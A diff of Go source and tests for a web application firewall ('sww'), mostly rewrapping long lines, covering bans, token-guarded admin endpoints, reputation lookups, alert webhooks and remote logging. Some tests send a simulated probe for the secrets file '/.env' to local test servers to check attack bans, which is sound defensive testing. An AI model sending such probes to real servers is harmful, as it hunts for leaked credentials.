t.Errorf(
"bans.json holds %v, want the ban for crowdsec on %s",
ban,
placed,
)
}
// Restarted with the engine down, the copy kept in lists.json bans
@@ -871,7 +922,10 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
}
if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) {
t.Errorf("the key is shown in the output or the state and cache files:\n%s", all)
t.Errorf(
"the key is shown in the output or the state and cache files:\n%s",
all,
)
}
}
@@ -883,7 +937,11 @@ func wantDeniedByList(t *testing.T, line map[string]any, listURL string) {
reputation, _ := line["reputation"].([]any)
if line["action"] != "client_denied" || len(reputation) != 1 ||
reputation[0] != listURL {
t.Errorf("request log line %v, want one denied for %s", line, listURL)
t.Errorf(
"request log line %v, want one denied for %s",
line,
listURL,
)
}
}
@@ -918,7 +976,11 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) {
func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
t.Parallel()
endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
endpoint, err := (&net.ListenConfig{}).Listen(
t.Context(),
"tcp",
localhost+":0",
)
if err != nil {
t.Fatalf("listen: %v", err)
}
@@ -973,7 +1035,11 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
// The endpoint takes connections and never answers, so the TLS
// handshake of each waits on it, and no line is ever sent.
endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
endpoint, err := (&net.ListenConfig{}).Listen(
t.Context(),
"tcp",
localhost+":0",
)
if err != nil {
t.Fatalf("listen: %v", err)
}
@@ -1009,7 +1075,8 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
const dropped = "\nsww_remote_log_lines_dropped_total" +
`{instance="fsn1app1/blog"} `
if strings.Contains(metrics, dropped+"0\n") || !strings.Contains(metrics, dropped) {
if strings.Contains(metrics, dropped+"0\n") ||
!strings.Contains(metrics, dropped) {
t.Errorf("no line dropped in the metrics:\n%s", metrics)
}
@@ -1035,7 +1102,11 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
// too.
line := out.line(t, "msg", "starting")
if line["instance"] != instance {
t.Errorf("start logged with instance %v, want %s", line["instance"], instance)
t.Errorf(
"start logged with instance %v, want %s",
line["instance"],
instance,
)
}
}
@@ -1066,10 +1137,14 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
wantRefused(t, url+".env")
post := webhook.waitFor(t, "ban", true)
if post.alert["client"] != localhost || post.alert["netblock"] != localhost+"/32" ||
if post.alert["client"] != localhost ||
post.alert["netblock"] != localhost+"/32" ||
post.authorization != "Bearer "+adminSecret {
t.Errorf("the webhook was sent %v, with Authorization %q", post.alert,
post.authorization)
t.Errorf(
"the webhook was sent %v, with Authorization %q",
post.alert,
post.authorization,
)
}
// The webhook fails, so the alert for the ban made permanent by the
@@ -1081,24 +1156,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
// alerts.json keeps it as sww stops, and once started again,
// sww sends it.
var file struct {
Waiting map[string][]struct {
Event string `json:"event"`
} `json:"waiting"`
}
path := filepath.Join(dir, "alerts.json")
data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
if err == nil {
err = json.Unmarshal(data, &file)
}
waiting := file.Waiting["webhook"]
if err != nil || len(waiting) != 1 || waiting[0].Event != "permanent_ban" {
t.Fatalf("alerts.json holds %s (%v), want the permanent_ban alert waiting for "+
"the webhook", data, err)
}
wantPermanentBanAlertWaiting(t, dir)
// It counts the alert sent in the metrics, read here from a client the
// ban does not cover.
@@ -1130,6 +1188,37 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
})
}
// wantPermanentBanAlertWaiting checks that alerts.json in dir holds one
// alert waiting for the webhook, the permanent_ban alert.
func wantPermanentBanAlertWaiting(t *testing.T, dir string) {
t.Helper()
var file struct {
Waiting map[string][]struct {
Event string `json:"event"`
} `json:"waiting"`
}
path := filepath.Join(dir, "alerts.json")
//nolint:gosec // a file in the test's directory
data, err := os.ReadFile(path)
if err == nil {
err = json.Unmarshal(data, &file)
}
waiting := file.Waiting["webhook"]
if err != nil || len(waiting) != 1 ||
waiting[0].Event != "permanent_ban" {
t.Fatalf(
"alerts.json holds %s (%v), want the permanent_ban alert waiting for "+
"the webhook",
data,
err,
)
}
}
func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
t.Parallel()
@@ -1167,7 +1256,8 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
slackPost := slack.firstPost(t)
err := json.Unmarshal([]byte(slackPost.body), &message)
if err != nil || !strings.HasPrefix(message.Text, "*fsn1app1/blog: ban*\n") ||
if err != nil ||
!strings.HasPrefix(message.Text, "*fsn1app1/blog: ban*\n") ||
!strings.Contains(message.Text, "\nclient: "+client+"\n") {
t.Errorf("Slack was sent %s", slackPost.body)
}
@@ -1202,14 +1292,22 @@ func TestStateFileThatDoesNotParseStopsTheStart(t *testing.T) {
dir := t.TempDir()
err := os.WriteFile(filepath.Join(dir, "bans.json"), []byte("{\n"), 0o600)
err := os.WriteFile(
filepath.Join(dir, "bans.json"),
[]byte("{\n"),
0o600,
)
if err != nil {
t.Fatalf("write bans.json: %v", err)
}
// The file ends at the newline that is the second byte of its first
// line.
wantStartRefused(t, dir, filepath.Join(dir, "bans.json")+", line 1, column 2: ")
wantStartRefused(
t,
dir,
filepath.Join(dir, "bans.json")+", line 1, column 2: ",
)
}
func TestUnwritableStateDirStopsTheStart(t *testing.T) {
@@ -1264,7 +1362,11 @@ func wantStartRefused(t *testing.T, dir, want string) {
message, _ := line["error"].(string)
if !strings.HasPrefix(message, want) {
t.Errorf("start refused with %q, want an error starting %q", message, want)
t.Errorf(
"start refused with %q, want an error starting %q",
message,
want,
)
}
}
@@ -1329,7 +1431,11 @@ func runUntilStopped(
select {
case status := <-exited:
if status != 0 {
t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
t.Fatalf(
"exit status %d, want 0; output:\n%s",
status,
out.text(),
)
}
case <-time.After(waitLimit):
t.Fatal("still running after being told to stop")
@@ -1371,7 +1477,12 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
for name, value := range want {
if settings[name] != value {
t.Errorf("starting line gives %s=%v, want %v", name, settings[name], value)
t.Errorf(
"starting line gives %s=%v, want %v",
name,
settings[name],
value,
)
}
}
@@ -1411,7 +1522,11 @@ func messages(t *testing.T, received string) []string {
_, message, ok := strings.Cut(record, header)
if !ok || !strings.HasPrefix(record, "<134>1 ") {
t.Fatalf("record %q, want priority <134> and header %q", record, header)
t.Fatalf(
"record %q, want priority <134> and header %q",
record,
header,
)
}
found = append(found, message+"\n")
@@ -1476,7 +1591,10 @@ func seriesValue(t *testing.T, metrics, series string) float64 {
t.Helper()
for line := range strings.Lines(metrics) {
value, found := strings.CutPrefix(strings.TrimSpace(line), series+" ")
value, found := strings.CutPrefix(
strings.TrimSpace(line),
series+" ",
)
if !found {
continue
}
@@ -1510,7 +1628,11 @@ func writeLookupDatabase(t *testing.T, path, country string) {
t.Helper()
lookuptest.Write(t, path, map[string]lookuptest.Network{
placed + "/32": {ASN: "AS64496", ASName: "Example Net", Country: country},
placed + "/32": {
ASN: "AS64496",
ASName: "Example Net",
Country: country,
},
})
}
@@ -1548,7 +1670,8 @@ func onlyBan(t *testing.T, dir string) map[string]any {
path := filepath.Join(dir, "bans.json")
data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
//nolint:gosec // a file in the test's directory
data, err := os.ReadFile(path)
if err != nil {
t.Fatalf("read bans.json: %v", err)
}
@@ -1590,7 +1713,11 @@ func wantStatus(t *testing.T, url, from string, status int) {
// request, since sww may not watch its directory yet when it is
// first written. It waits as long as that takes, so that a slow test
// process cannot fail the test.
func saveUntilAnswered(t *testing.T, path, content, url, from string, status int) {
func saveUntilAnswered(
t *testing.T,
path, content, url, from string,
status int,
) {
t.Helper()
for {
@@ -1722,7 +1849,11 @@ func startWebhook(t *testing.T) *webhook {
// waitFor waits until the webhook has been sent an alert for event that
// it took, or, unless answered, failed, and returns it. It waits as long
// as that takes, so that a slow test process cannot fail the test.
func (w *webhook) waitFor(t *testing.T, event string, answered bool) webhookPost {
func (w *webhook) waitFor(
t *testing.T,
event string,
answered bool,
) webhookPost {
t.Helper()
for {
+27 -7
View File
@@ -14,6 +14,7 @@ import (
"syscall"
"testing"
"time"
// The time zone database, so that the process TestMainRunsWAF starts
// finds the zone TZ names on any host.
_ "time/tzdata"
@@ -85,7 +86,8 @@ func TestMainRunsWAF(t *testing.T) {
dir := t.TempDir()
out := &output{}
cmd := exec.CommandContext(t.Context(), binary) //nolint:gosec // this test binary
//nolint:gosec // this test binary
cmd := exec.CommandContext(t.Context(), binary)
cmd.Stdout = out
cmd.Env = append(os.Environ(),
@@ -112,7 +114,11 @@ func TestMainRunsWAF(t *testing.T) {
select {
case status := <-exited:
if status != 0 {
t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
t.Fatalf(
"exit status %d, want 0; output:\n%s",
status,
out.text(),
)
}
case <-time.After(waitLimit):
t.Fatal("still running after being told to stop")
@@ -123,7 +129,8 @@ func TestMainRunsWAF(t *testing.T) {
path := filepath.Join(dir, "clients.json")
clients, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
//nolint:gosec // a file in the test's directory
clients, err := os.ReadFile(path)
if err != nil {
t.Fatalf("read clients.json: %v", err)
}
@@ -181,7 +188,11 @@ func TestMainWithoutACommandItKnowsPrintsTheCommands(t *testing.T) {
for _, name := range []string{"rproxy", wafCommand, "healthcheck"} {
if !strings.Contains(stderr.String(), name) {
t.Errorf("stderr %q does not name %s", stderr.String(), name)
t.Errorf(
"stderr %q does not name %s",
stderr.String(),
name,
)
}
}
@@ -219,8 +230,13 @@ func ask(t *testing.T, addr, path string, status int, disposition string) {
if res.StatusCode != status ||
res.Header.Get(waf.DispositionHeader) != disposition {
t.Errorf("answered %d with disposition %q, want %d with %q", res.StatusCode,
res.Header.Get(waf.DispositionHeader), status, disposition)
t.Errorf(
"answered %d with disposition %q, want %d with %q",
res.StatusCode,
res.Header.Get(waf.DispositionHeader),
status,
disposition,
)
}
}
@@ -245,7 +261,11 @@ func runWAF(t *testing.T, env map[string]string, use func(addr string)) {
select {
case status := <-exited:
if status != 0 {
t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
t.Fatalf(
"exit status %d, want 0; output:\n%s",
status,
out.text(),
)
}
case <-time.After(waitLimit):
t.Fatal("still running after being told to stop")
+12 -3
View File
@@ -26,7 +26,11 @@ type abuseIPDB struct{}
func (abuseIPDB) name() string { return "abuseipdb" }
func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
func (abuseIPDB) check(
ctx context.Context,
rq *request,
_ time.Time,
) *verdict {
if rq.h.config.AbuseIPDBKey == "" {
return nil
}
@@ -42,8 +46,13 @@ func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
rq.abuseIPDBHit = true
rq.addTag(config.AbuseIPDBTag)
rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE")
rq.noteHit(
bans.ReputationHit{
Source: reputation.AbuseIPDBSource,
Score: &score,
},
"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE",
)
if rq.h.config.ReputationAction != deny {
return nil
+47 -11
View File
@@ -31,7 +31,8 @@ var (
errNotBanToAdd = errors.New(
"the body is not a JSON object of netblock, duration and reason")
errNotNetblock = errors.New(
"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24")
"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24",
)
errMappedNetblock = errors.New(
"is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24")
errZone = errors.New("has a zone, which a netblock cannot have")
@@ -61,10 +62,18 @@ func (rq *request) answerAdmin() {
switch {
case token == "":
http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
http.Error(
rq.out,
http.StatusText(http.StatusNotFound),
http.StatusNotFound,
)
case !hasToken(rq.in, token):
rq.out.Header().Set("WWW-Authenticate", "Bearer")
http.Error(rq.out, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
http.Error(
rq.out,
http.StatusText(http.StatusUnauthorized),
http.StatusUnauthorized,
)
default:
answer()
}
@@ -150,7 +159,9 @@ func (rq *request) addBan() {
// readBanToAdd reads the body of POST BansPath: a JSON object with
// nothing but whitespace after it, in at most banBodyMaxBytes.
func (rq *request) readBanToAdd() (banToAdd, error) {
data, err := io.ReadAll(http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes))
data, err := io.ReadAll(
http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes),
)
rq.requestBytes = int64(len(data))
if err != nil {
@@ -170,7 +181,10 @@ func (rq *request) readBanToAdd() (banToAdd, error) {
// Token returns io.EOF only when nothing but whitespace is left.
_, err = decoder.Token()
if !errors.Is(err, io.EOF) {
return banToAdd{}, fmt.Errorf("%w: more follows the object", errNotBanToAdd)
return banToAdd{}, fmt.Errorf(
"%w: more follows the object",
errNotBanToAdd,
)
}
return toAdd, nil
@@ -185,7 +199,11 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
netblock, err := netip.ParsePrefix(value)
if err == nil {
if netblock.Addr().Is4In6() {
return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errMappedNetblock)
return netip.Prefix{}, fmt.Errorf(
"netblock %q %w",
value,
errMappedNetblock,
)
}
return netblock, nil
@@ -195,7 +213,11 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
// 2001:db8::1%x/48 as part of the zone.
addr, err := netip.ParseAddr(value)
if err != nil {
return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errNotNetblock)
return netip.Prefix{}, fmt.Errorf(
"netblock %q %w",
value,
errNotNetblock,
)
}
if addr.Zone() != "" {
@@ -214,7 +236,11 @@ func expiry(duration string, now time.Time) (time.Time, error) {
length, err := config.ParseDurationNotOff(duration)
if err != nil {
return time.Time{}, fmt.Errorf("duration %q %w", duration, errNotDuration)
return time.Time{}, fmt.Errorf(
"duration %q %w",
duration,
errNotDuration,
)
}
return now.Add(length), nil
@@ -233,7 +259,11 @@ func (rq *request) liftBans() {
lifted := rq.h.ledger.Lift(client, rq.h.now())
if len(lifted) == 0 {
http.Error(rq.out, "no ban is active on "+client.String(), http.StatusNotFound)
http.Error(
rq.out,
"no ban is active on "+client.String(),
http.StatusNotFound,
)
return
}
@@ -261,7 +291,9 @@ func (rq *request) showClient() {
return
}
answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
answer := clientAnswer{
Bans: state.BanEntries(rq.h.ledger.Covering(addr)),
}
client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
if seen {
@@ -294,7 +326,11 @@ func (rq *request) answerBans(held []bans.Ban) {
func (rq *request) answerJSON(value any) {
body, err := json.MarshalIndent(value, "", " ")
if err != nil {
rq.h.processLog.Error("encoding an answer failed", "error", err.Error())
rq.h.processLog.Error(
"encoding an answer failed",
"error",
err.Error(),
)
http.Error(rq.out, http.StatusText(http.StatusInternalServerError),
http.StatusInternalServerError)
+112 -26
View File
@@ -32,20 +32,37 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
t.Parallel()
// The metrics token is set, and opens none of them.
s, clk, server := startWithClock(t, "", map[string]string{metricsToken: token})
server.Ledger.BanForLimit(netip.MustParsePrefix(otherClient+"/32"), clk.Now(),
bans.Notes{})
s, clk, server := startWithClock(
t,
"",
map[string]string{metricsToken: token},
)
server.Ledger.BanForLimit(
netip.MustParsePrefix(otherClient+"/32"),
clk.Now(),
bans.Notes{},
)
before := server.Ledger.Snapshot()
// An empty token does not match the unset one either.
for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
for _, e := range adminEndpoints() {
s.ownEndpointRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
s.ownEndpointRequest(
authorization,
e.method,
e.path,
e.body,
http.StatusNotFound,
)
}
}
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
t.Errorf(
"the bans are now\n%+v\nwant them unchanged\n%+v",
after,
before,
)
}
}
@@ -67,22 +84,44 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
for _, authorization := range []string{
"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
} {
got := s.ownEndpointRequest(authorization, e.method, e.path, e.body,
http.StatusUnauthorized)
got := s.ownEndpointRequest(
authorization,
e.method,
e.path,
e.body,
http.StatusUnauthorized,
)
if got.header.Get("WWW-Authenticate") != "Bearer" {
t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
e.method, e.path, authorization)
t.Errorf(
"%s %s with %q was answered without WWW-Authenticate: Bearer",
e.method,
e.path,
authorization,
)
}
}
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
e.method, e.path, after, before)
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(
after,
before,
) {
t.Errorf(
"%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
e.method,
e.path,
after,
before,
)
}
got := s.admin(e.method, e.path, e.body, http.StatusOK)
if got.header.Get("Content-Type") != "application/json" {
t.Errorf("%s %s answered %q", e.method, e.path, got.header.Get("Content-Type"))
t.Errorf(
"%s %s answered %q",
e.method,
e.path,
got.header.Get("Content-Type"),
)
}
}
@@ -121,7 +160,11 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
wantBans(t, s.admin(http.MethodPost, waf.BansPath, banOtherClient,
http.StatusOK), want)
line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
line := s.get(
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
if line.BanExpires != requestlog.FormatTime(expires) {
t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
}
@@ -129,7 +172,11 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
// Its notes count the request it refused.
want.Notes.Requests, want.Notes.Refused = 1, 1
wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want)
wantBans(
t,
s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
want,
)
// Ten minutes on, lifting the bans on client lifts that one, which is
// kept, marked lifted.
@@ -141,10 +188,19 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
wantBans(t, s.admin(http.MethodDelete, waf.BansPath+"/"+client, "",
http.StatusOK), want)
s.get(client, http.StatusOK, requestlog.ActionForward)
wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want)
wantBans(
t,
s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
want,
)
// No ban on it is active any more.
s.admin(http.MethodDelete, waf.BansPath+"/"+client, "", http.StatusNotFound)
s.admin(
http.MethodDelete,
waf.BansPath+"/"+client,
"",
http.StatusNotFound,
)
}
func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
@@ -173,7 +229,9 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` +
"\r\n"
want := state.BanEntry{
Netblock: netip.MustParsePrefix(tc.want), Start: start, Cause: bans.CauseAdmin,
Netblock: netip.MustParsePrefix(
tc.want,
), Start: start, Cause: bans.CauseAdmin,
}
if tc.length != 0 {
@@ -181,15 +239,22 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
want.Expires = &expires
}
wantBans(t, s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
want)
wantBans(
t,
s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
want,
)
}
}
func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{adminToken: adminSecret})
s, _, server := startWithClock(
t,
"",
map[string]string{adminToken: adminSecret},
)
for _, tc := range []struct{ body, want string }{
{"", "the body is not a JSON object of netblock, duration and reason: EOF"},
@@ -254,7 +319,12 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
got := s.admin(http.MethodPost, waf.BansPath, tc.body,
http.StatusBadRequest)
if !strings.Contains(string(got.body), tc.want) {
t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
t.Errorf(
"%.80s was answered %q, want it to say %q",
tc.body,
got.body,
tc.want,
)
}
}
@@ -276,7 +346,11 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
// limit of two a minute, and bans it.
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
s.get(
otherClient,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
// Asked about by its address in IPv6 form too.
for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
@@ -302,7 +376,11 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit ||
got.Bans[0].Reason != "requests per minute over the limit of 2" ||
got.Bans[0].Notes.Count != 3 {
t.Errorf("%s: bans %+v, want the one for the broken limit", addr, got.Bans)
t.Errorf(
"%s: bans %+v, want the one for the broken limit",
addr,
got.Bans,
)
}
}
@@ -310,7 +388,9 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
// known.
got := s.admin(http.MethodGet, waf.ClientsPath+"198.51.100.99", "",
http.StatusOK)
if string(got.body) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
if string(
got.body,
) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
t.Errorf("an unknown client is answered\n%s", got.body)
}
@@ -329,7 +409,13 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
})
for _, e := range adminEndpoints() {
s.ownEndpointRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
s.ownEndpointRequest(
"",
e.method,
e.path,
e.body,
http.StatusUnauthorized,
)
}
if held := server.Ledger.Snapshot(); len(held) != 0 {
+85 -20
View File
@@ -46,7 +46,10 @@ func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
}, requestlog.FormatTime(start.Add(time.Hour))))
if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" {
t.Errorf("the alert's notes are %+v, want those of the broken limit", ban.Notes)
t.Errorf(
"the alert's notes are %+v, want those of the broken limit",
ban.Notes,
)
}
}
@@ -62,7 +65,12 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
// The probe bans the client for seven days, and its next request makes
// the ban permanent. The request after that changes nothing.
s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.request(
client,
"/.env",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
attackBan := server.Ledger.Bans(netblock)[0]
@@ -83,15 +91,27 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
otherBans := server.Ledger.Bans(other)
wantAlerts(t, queue,
wantAlerts(
t,
queue,
attackAlert(alerts.EventBan, start, client, attackBan,
requestlog.FormatTime(start.Add(7*24*time.Hour))),
attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client,
permanentBan, "permanent"),
attackAlert(alerts.EventBan, start.Add(time.Minute), otherClient, otherBans[0],
requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour))),
attackAlert(alerts.EventPermanentBan, start.Add(time.Minute+7*24*time.Hour),
otherClient, otherBans[1], "permanent"),
attackAlert(
alerts.EventBan,
start.Add(time.Minute),
otherClient,
otherBans[0],
requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour)),
),
attackAlert(
alerts.EventPermanentBan,
start.Add(time.Minute+7*24*time.Hour),
otherClient,
otherBans[1],
"permanent",
),
)
}
@@ -108,7 +128,11 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
// A ban for a clear sign of attack, which a request under it would make
// permanent.
group := netip.MustParsePrefix(ipv6Group)
attackBan, _ := server.Ledger.BanForAttack(group, start, bans.Notes{RuleID: "probe"})
attackBan, _ := server.Ledger.BanForAttack(
group,
start,
bans.Notes{RuleID: "probe"},
)
// The third request breaks the limit, and so does the fourth, within the
// cooldown, which raises nothing. The probe is a clear sign of attack.
@@ -123,8 +147,12 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
held := server.Ledger.Snapshot()
if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
"for the attack alone, as it was", held, line.BanExpires)
t.Errorf(
"the ledger holds %+v, and the log line gives %s, want the ban "+
"for the attack alone, as it was",
held,
line.BanExpires,
)
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
@@ -138,21 +166,35 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" ||
attackNotes.Request.Path != "/.env" {
t.Errorf("the notes are %+v and %+v, want those of the broken limit and "+
"of the probe", limitNotes, attackNotes)
t.Errorf(
"the notes are %+v and %+v, want those of the broken limit and "+
"of the probe",
limitNotes,
attackNotes,
)
}
// Each alert is the one enforce mode would have raised, with mode
// observe in its detail.
want := []alerts.Alert{
banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
Netblock: netip.MustParsePrefix(
client + "/32",
), Cause: bans.CauseLimit,
Reason: "requests per minute over the limit of 2", Notes: limitNotes,
}, requestlog.FormatTime(start.Add(time.Hour))),
attackAlert(alerts.EventBan, start, otherClient, bans.Ban{
Netblock: netip.MustParsePrefix(otherClient + "/32"), Notes: attackNotes,
Netblock: netip.MustParsePrefix(
otherClient + "/32",
), Notes: attackNotes,
}, requestlog.FormatTime(start.Add(7*24*time.Hour))),
attackAlert(alerts.EventPermanentBan, start, ipv6Client, attackBan, permanent),
attackAlert(
alerts.EventPermanentBan,
start,
ipv6Client,
attackBan,
permanent,
),
}
for _, alert := range want {
alert.Detail["mode"] = observe
@@ -180,7 +222,12 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
// The other client's first probe raises the second. Its second probe is
// within the cooldown.
for range 2 {
s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
s.request(
otherClient,
"/.env",
http.StatusOK,
requestlog.ActionForward,
)
}
// The IPv6 client's third request breaks the limit past the two alerts
@@ -206,7 +253,11 @@ func startWithAlerts(
) (*sender, *clock, *waf.Server, *alerts.Queue) {
t.Helper()
return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
return startAppWithAlerts(
t,
func(http.ResponseWriter, *http.Request) {},
env,
)
}
// startAppWithAlerts is startWithAlerts in front of the app handler.
@@ -224,7 +275,13 @@ func startAppWithAlerts(
}
maps.Copy(settings, env)
addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
addr, out, server, queue := startProxyWithAlerts(
t,
app.URL,
"",
clk.Now,
settings,
)
s := &sender{t: t, addr: addr, wafAddr: server.Addr, out: out}
@@ -235,7 +292,11 @@ func startAppWithAlerts(
// the time raised, for ban, with its netblock, cause, reason and notes,
// which ends at expires, as the log line gives it.
func banAlert(
event string, raised time.Time, client string, ban bans.Ban, expires string,
event string,
raised time.Time,
client string,
ban bans.Ban,
expires string,
) alerts.Alert {
return alerts.Alert{
Instance: alertInstance,
@@ -254,7 +315,11 @@ func banAlert(
// attackAlert is banAlert for a ban for the probe rule of testRules, with
// the netblock and the notes of ban.
func attackAlert(
event string, raised time.Time, client string, ban bans.Ban, expires string,
event string,
raised time.Time,
client string,
ban bans.Ban,
expires string,
) alerts.Alert {
return banAlert(event, raised, client, bans.Ban{
Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe",
+4 -1
View File
@@ -24,7 +24,10 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
defer func() {
if r := recover(); r != nil {
t.Errorf("counting the request did work, with every threshold off: %v", r)
t.Errorf(
"counting the request did work, with every threshold off: %v",
r,
)
}
}()
+41 -15
View File
@@ -51,7 +51,9 @@ const (
hour = "hour"
)
func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
t *testing.T,
) {
t.Parallel()
for _, scope := range []struct {
@@ -95,9 +97,8 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
t.Run(setting, func(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
setting: value, watchNets: office,
})
env := map[string]string{setting: value, watchNets: office}
s, clk, server, queue := startWithLookupsAndClock(t, env)
start := clk.Now()
// The third upload takes the count over the threshold, and the
@@ -156,7 +157,10 @@ func wantAlertedAgainOnceTheCooldownHasRunOut(
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) ||
waiting[1].SuppressedRepeats != 1 {
